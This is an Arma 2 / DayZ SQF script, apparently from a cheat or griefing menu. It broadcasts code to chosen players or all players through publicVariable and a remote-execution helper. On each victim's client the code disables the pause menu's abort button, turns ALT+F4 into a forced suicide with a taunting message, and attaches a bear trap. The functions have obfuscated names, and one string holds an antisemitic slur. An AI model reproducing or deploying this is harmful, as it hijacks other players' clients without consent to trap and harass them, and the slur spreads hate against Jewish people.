hint "Starting Eric Clapton";
_plr = _this select 0;


if (_plr == "") exitwith { Hint "Some how there was an error check your scripts : or You need to select a name in the player list , if you wish to activate it on all players then click all players or select an indevidiual name to perform that action onto. then click EXECUTE.";};

if (_plr == "ALL PLAYERS") then {_plr = "";};
if (_plr == "EVERYONE BUT ME") then {_plr = "FUCKEMGRANDPAIHATEJEWS";};


_posplrpoop = (position player);

	dsadsaidbosa = {
		private["_display","_btnabort"];
		disableSerialization;
		waitUntil {
			_display = findDisplay 49;
			!isNull _display;
		};
		_btnabort = _display displayCtrl 104;
		_btnabort ctrlEnable _this;
	};

publicVariable "dsadsaidbosa";

	cxzonsasd = {
		_dikCode = 	_this select 1;
		if (_dikCode in actionKeys "IngamePause") then {
			_id = false spawn dsadsaidbosa;
		};
		_handled
	};

publicvariable "cxzonsasd";
    TAG_onKeyDown =
{
     private ["_key", "_return"];
     _shift = _this select 2;
     _key = _this select 1;
     _return = false;
     if (_key == 62) then //f4
     {

    player setdamage 1;
    TitleText [format['Hah, ALT+F4? Nah you dont get off that easy. I remapped those keys to suicide.'], 'PLAIN DOWN'];
	sleep 60;

               _shift = nil;

     };
    _return
};

publicvariable "TAG_onkeyDown";
sleep 2.0;

_tp = "

_class = 'BearTrap_DZ' createVehicle position vehicle player;
_class attachTo [vehicle player,[0,0,0]];


false spawn dsadsaidbosa;
(findDisplay 46) displayAddEventHandler ['KeyDown','_this call cxzonsasd'];
(findDisplay 46) displayAddEventHandler ['keyDown', '_this call TAG_onKeyDown'];

TitleText [format['Would you know my name If I saw you in heaven?'], 'PLAIN DOWN'];

";


nil = [_plr, 11 ,_tp] execVM "wuat\scripts\Dwarden.sqf";
